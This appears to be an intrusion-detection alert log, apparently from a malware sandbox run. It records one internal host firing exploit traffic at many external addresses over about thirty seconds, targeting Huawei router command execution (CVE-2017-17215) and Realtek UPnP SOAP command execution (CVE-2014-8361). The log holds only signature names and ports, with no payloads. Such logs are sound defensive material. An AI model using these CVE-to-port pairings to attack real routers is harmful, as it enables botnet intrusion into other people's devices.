ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 1.176.202.8

Timestamp:	07/20/24-23:10:52.005273
SID:	2831300
Source Port:	50900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.105.239.202

Timestamp:	07/20/24-23:10:46.755097
SID:	2829579
Source Port:	53818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.253.19.155

Timestamp:	07/20/24-23:11:06.646712
SID:	2829579
Source Port:	35602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.103.32.66

Timestamp:	07/20/24-23:10:46.768902
SID:	2829579
Source Port:	49988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 152.198.105.114

Timestamp:	07/20/24-23:10:51.920409
SID:	2027339
Source Port:	58544
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.199.23.210

Timestamp:	07/20/24-23:11:06.646712
SID:	2835222
Source Port:	50920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.141.186.237

Timestamp:	07/20/24-23:10:56.002189
SID:	2835222
Source Port:	59240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 180.55.108.40

Timestamp:	07/20/24-23:10:44.772949
SID:	2025132
Source Port:	42284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 154.155.4.0

Timestamp:	07/20/24-23:11:06.706397
SID:	2829579
Source Port:	52490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 135.178.159.192

Timestamp:	07/20/24-23:10:47.417816
SID:	2027339
Source Port:	59032
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 152.198.105.114

Timestamp:	07/20/24-23:10:51.920409
SID:	2831300
Source Port:	58544
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.255.77.151

Timestamp:	07/20/24-23:10:41.231287
SID:	2835222
Source Port:	33246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 23.244.107.142

Timestamp:	07/20/24-23:10:42.630809
SID:	2027339
Source Port:	52696
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.118.190.175

Timestamp:	07/20/24-23:10:46.739330
SID:	2835222
Source Port:	57458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.248.223.251

Timestamp:	07/20/24-23:10:46.711367
SID:	2829579
Source Port:	48230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 167.111.167.13

Timestamp:	07/20/24-23:10:46.580123
SID:	2025132
Source Port:	37422
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.42.35.146

Timestamp:	07/20/24-23:10:59.021280
SID:	2829579
Source Port:	43598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.79.113.139

Timestamp:	07/20/24-23:10:39.473748
SID:	2829579
Source Port:	54592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 5.162.60.136

Timestamp:	07/20/24-23:10:42.619618
SID:	2831300
Source Port:	47392
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 36.65.48.163

Timestamp:	07/20/24-23:10:46.951048
SID:	2025132
Source Port:	43052
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.146.57.65

Timestamp:	07/20/24-23:11:06.689940
SID:	2835222
Source Port:	34716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 119.87.220.235

Timestamp:	07/20/24-23:10:39.063001
SID:	2027339
Source Port:	38292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 163.51.19.31

Timestamp:	07/20/24-23:10:52.029204
SID:	2831300
Source Port:	57576
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.219.1.200

Timestamp:	07/20/24-23:10:49.355429
SID:	2829579
Source Port:	60866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.31.20.54

Timestamp:	07/20/24-23:10:39.737734
SID:	2027339
Source Port:	42446
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 45.153.62.62

Timestamp:	07/20/24-23:10:51.925000
SID:	2831300
Source Port:	51656
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.159.99.175

Timestamp:	07/20/24-23:10:52.581805
SID:	2835222
Source Port:	41518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.157.98.40

Timestamp:	07/20/24-23:10:52.581805
SID:	2835222
Source Port:	36094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 77.64.253.97

Timestamp:	07/20/24-23:10:42.622796
SID:	2831300
Source Port:	47270
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 121.44.96.251

Timestamp:	07/20/24-23:10:59.027427
SID:	2835222
Source Port:	54974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 176.151.129.238

Timestamp:	07/20/24-23:10:59.021280
SID:	2835222
Source Port:	60864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.140.167.29

Timestamp:	07/20/24-23:10:52.592459
SID:	2835222
Source Port:	59984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 151.138.171.183

Timestamp:	07/20/24-23:10:52.021521
SID:	2831300
Source Port:	38514
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 191.96.230.47

Timestamp:	07/20/24-23:10:42.625971
SID:	2027339
Source Port:	39244
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.49.200.251

Timestamp:	07/20/24-23:10:42.249182
SID:	2829579
Source Port:	48016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.47.128.202

Timestamp:	07/20/24-23:10:49.398416
SID:	2829579
Source Port:	45672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.213.153.141

Timestamp:	07/20/24-23:10:40.649994
SID:	2835222
Source Port:	48536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 24.166.44.145

Timestamp:	07/20/24-23:10:44.706644
SID:	2027339
Source Port:	33952
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.214.102.224

Timestamp:	07/20/24-23:11:06.687949
SID:	2835222
Source Port:	54854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 4.210.183.193

Timestamp:	07/20/24-23:10:51.920409
SID:	2027339
Source Port:	36264
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.104.211.49

Timestamp:	07/20/24-23:10:42.253016
SID:	2835222
Source Port:	53136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.170.233.186

Timestamp:	07/20/24-23:10:46.756315
SID:	2829579
Source Port:	34030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 206.49.109.215

Timestamp:	07/20/24-23:10:39.931842
SID:	2027339
Source Port:	60064
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 75.245.37.135

Timestamp:	07/20/24-23:10:39.425582
SID:	2829579
Source Port:	51212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 117.238.162.201

Timestamp:	07/20/24-23:10:40.658204
SID:	2829579
Source Port:	56918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 73.163.96.192

Timestamp:	07/20/24-23:10:42.620216
SID:	2027339
Source Port:	48622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 58.59.198.252

Timestamp:	07/20/24-23:10:46.795245
SID:	2829579
Source Port:	46452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.182.40.219

Timestamp:	07/20/24-23:10:40.601389
SID:	2829579
Source Port:	45588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.38.228.1

Timestamp:	07/20/24-23:10:52.581035
SID:	2835222
Source Port:	44428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.29.91.154

Timestamp:	07/20/24-23:10:39.430384
SID:	2829579
Source Port:	56722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.172.226.166

Timestamp:	07/20/24-23:11:03.406798
SID:	2829579
Source Port:	53718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.226.226.43

Timestamp:	07/20/24-23:10:55.995070
SID:	2829579
Source Port:	41968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.57.140.245

Timestamp:	07/20/24-23:10:46.739331
SID:	2835222
Source Port:	49724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.216.255.254

Timestamp:	07/20/24-23:11:03.419608
SID:	2835222
Source Port:	46110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.205.90.145

Timestamp:	07/20/24-23:10:56.007995
SID:	2835222
Source Port:	39892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 32.169.224.65

Timestamp:	07/20/24-23:10:42.630025
SID:	2027339
Source Port:	35830
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.121.204.204

Timestamp:	07/20/24-23:10:41.231287
SID:	2835222
Source Port:	43904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.100.41.196

Timestamp:	07/20/24-23:11:03.390577
SID:	2829579
Source Port:	44008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 221.199.80.98

Timestamp:	07/20/24-23:10:42.640980
SID:	2025132
Source Port:	60052
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.74.105.244

Timestamp:	07/20/24-23:10:58.986541
SID:	2835222
Source Port:	51302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 87.46.238.224

Timestamp:	07/20/24-23:10:51.988569
SID:	2831300
Source Port:	35012
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 45.156.147.64

Timestamp:	07/20/24-23:10:51.931701
SID:	2831300
Source Port:	36946
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 103.44.42.7

Timestamp:	07/20/24-23:10:47.639957
SID:	2025132
Source Port:	42714
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 185.59.206.11

Timestamp:	07/20/24-23:10:42.641904
SID:	2027339
Source Port:	56304
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.252.98.245

Timestamp:	07/20/24-23:10:56.006442
SID:	2835222
Source Port:	52798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 189.209.128.109

Timestamp:	07/20/24-23:10:39.812132
SID:	2027339
Source Port:	41042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 196.4.129.234

Timestamp:	07/20/24-23:10:41.230206
SID:	2829579
Source Port:	53678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 23.255.13.10

Timestamp:	07/20/24-23:10:45.751253
SID:	2025132
Source Port:	45660
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.244.120.88

Timestamp:	07/20/24-23:10:49.370142
SID:	2835222
Source Port:	60874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 207.204.42.129

Timestamp:	07/20/24-23:10:59.006202
SID:	2829579
Source Port:	54170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 166.150.32.219

Timestamp:	07/20/24-23:10:51.905303
SID:	2027339
Source Port:	49230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 61.206.111.53

Timestamp:	07/20/24-23:10:52.070108
SID:	2027339
Source Port:	34310
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 187.70.196.41

Timestamp:	07/20/24-23:10:43.593436
SID:	2025132
Source Port:	45792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 137.22.60.132

Timestamp:	07/20/24-23:10:51.905303
SID:	2027339
Source Port:	43452
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 210.38.21.59

Timestamp:	07/20/24-23:11:06.657863
SID:	2829579
Source Port:	33930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.5.14.159

Timestamp:	07/20/24-23:10:52.569477
SID:	2835222
Source Port:	54302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.62.191.193

Timestamp:	07/20/24-23:11:03.371424
SID:	2829579
Source Port:	33696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 123.107.246.76

Timestamp:	07/20/24-23:10:59.006202
SID:	2829579
Source Port:	59482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 217.179.58.161

Timestamp:	07/20/24-23:10:43.566203
SID:	2027339
Source Port:	50488
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 177.96.215.245

Timestamp:	07/20/24-23:10:47.624070
SID:	2027339
Source Port:	52384
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.176.210.11

Timestamp:	07/20/24-23:10:40.604940
SID:	2835222
Source Port:	33838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.223.234.147

Timestamp:	07/20/24-23:10:59.055793
SID:	2835222
Source Port:	34290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 51.252.148.88

Timestamp:	07/20/24-23:10:42.249913
SID:	2829579
Source Port:	54224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 134.173.80.60

Timestamp:	07/20/24-23:10:45.196798
SID:	2027339
Source Port:	44490
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.115.192.209

Timestamp:	07/20/24-23:10:42.263488
SID:	2829579
Source Port:	51084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 134.116.6.133

Timestamp:	07/20/24-23:10:42.636108
SID:	2027339
Source Port:	49472
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 49.223.157.49

Timestamp:	07/20/24-23:10:40.653603
SID:	2829579
Source Port:	42874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.184.178.177

Timestamp:	07/20/24-23:10:52.538168
SID:	2829579
Source Port:	58228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 84.101.193.179

Timestamp:	07/20/24-23:10:51.955556
SID:	2027339
Source Port:	35572
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.34.252.98

Timestamp:	07/20/24-23:10:41.227732
SID:	2835222
Source Port:	44318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.108.166.247

Timestamp:	07/20/24-23:10:42.267551
SID:	2829579
Source Port:	56810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 83.91.222.86

Timestamp:	07/20/24-23:10:47.633936
SID:	2025132
Source Port:	50034
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.123.206.73

Timestamp:	07/20/24-23:10:40.649994
SID:	2835222
Source Port:	47154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.191.133.48

Timestamp:	07/20/24-23:11:03.365384
SID:	2829579
Source Port:	34842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.106.110.233

Timestamp:	07/20/24-23:10:41.227634
SID:	2829579
Source Port:	38590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.210.66.175

Timestamp:	07/20/24-23:11:06.678578
SID:	2835222
Source Port:	35626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.182.176.117

Timestamp:	07/20/24-23:10:59.053037
SID:	2835222
Source Port:	47032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.141.107.129

Timestamp:	07/20/24-23:10:52.572631
SID:	2829579
Source Port:	39350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 160.143.66.125

Timestamp:	07/20/24-23:10:49.425318
SID:	2829579
Source Port:	33648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.145.75.170

Timestamp:	07/20/24-23:10:40.653603
SID:	2829579
Source Port:	52726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 47.48.207.49

Timestamp:	07/20/24-23:10:59.094768
SID:	2829579
Source Port:	44092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

